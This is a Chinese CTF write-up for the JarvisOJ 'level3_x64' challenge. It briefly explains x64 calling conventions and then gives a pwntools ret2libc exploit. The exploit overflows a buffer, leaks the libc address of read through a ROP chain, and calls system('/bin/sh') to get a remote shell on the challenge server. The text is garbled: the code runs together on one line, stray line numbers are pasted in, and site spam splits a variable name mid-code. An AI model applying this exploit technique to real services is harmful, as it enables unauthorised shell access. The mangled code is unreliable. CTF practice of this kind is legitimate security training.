这一题是和前面x86的差不多,都是利用了同一个知识点,唯一的区别就是使用的堆栈地址不同,x86是直接使用堆栈来传递参数的,而x64不同
x64的函数调用时整数和指针参数按照从左到右的顺序依次保存在寄存器rdi,rsi,rdx,rcx,r8和r9中
所以要找到rop然后来讲rdi和rsi和rdx赋值,这里前面两个比较容易找到,第三参数无论如何都没有能够找到,但是前面rdx的值为0x100所以不影响这个题目的解题
知识点和上一题的差不多,利用一下是很简单的。
exp就是这么简单
1234567891011121314151617181920212223242526272829303132333435363738394041 |
from pwn import *#p = process('./level3_x64')p = remote('pwn2.jarvisoj.com',9883)rop_edi = 0x04006b3 # 1 pop rdi; ret;rop_esi = 0x04006b1 # got_read pop rsi; pop r15; ret; plt_write = 0x04004B0got_re 大专栏 JarvisOJ level3_x64ad = 0x0600A60addr_func = 0x04005E6shellcode = 'A'*0x80+'bbbbbbbb'shellcode += p64(rop_edi)+p64(1) #mov edi, 1shellcode += p64(rop_esi)+p64(got_read)+p64(0) #mov esi, got_readshellcode += p64(plt_write)+p64(addr_func) # write and return to function p.recvuntil('Input:n')p.sendline(shellcode)tmp = p.recv(8)print tmpp.recvuntil('Input:n')addr_read = u64(tmp[0:8])print 'read_got =',hex(addr_read)libc = ELF('./libc-2.19.so')libc_binsh = 0x17c8c3addr_system = libc.symbols['system']- libc.symbols['read'] + addr_readaddr_binsh = libc_binsh - libc.symbols['read'] + addr_readaddr_exit = libc.symbols['exit'] - libc.symbols['read'] + addr_readpayload = 'A'*0x80+'bbbbbbbb'payload += p64(rop_edi)+p64(addr_binsh) # mov edi, addr_binshpayload += p64(addr_system)+p64(addr_exit) # do system and exitp.sendline(payload)p.interactive() |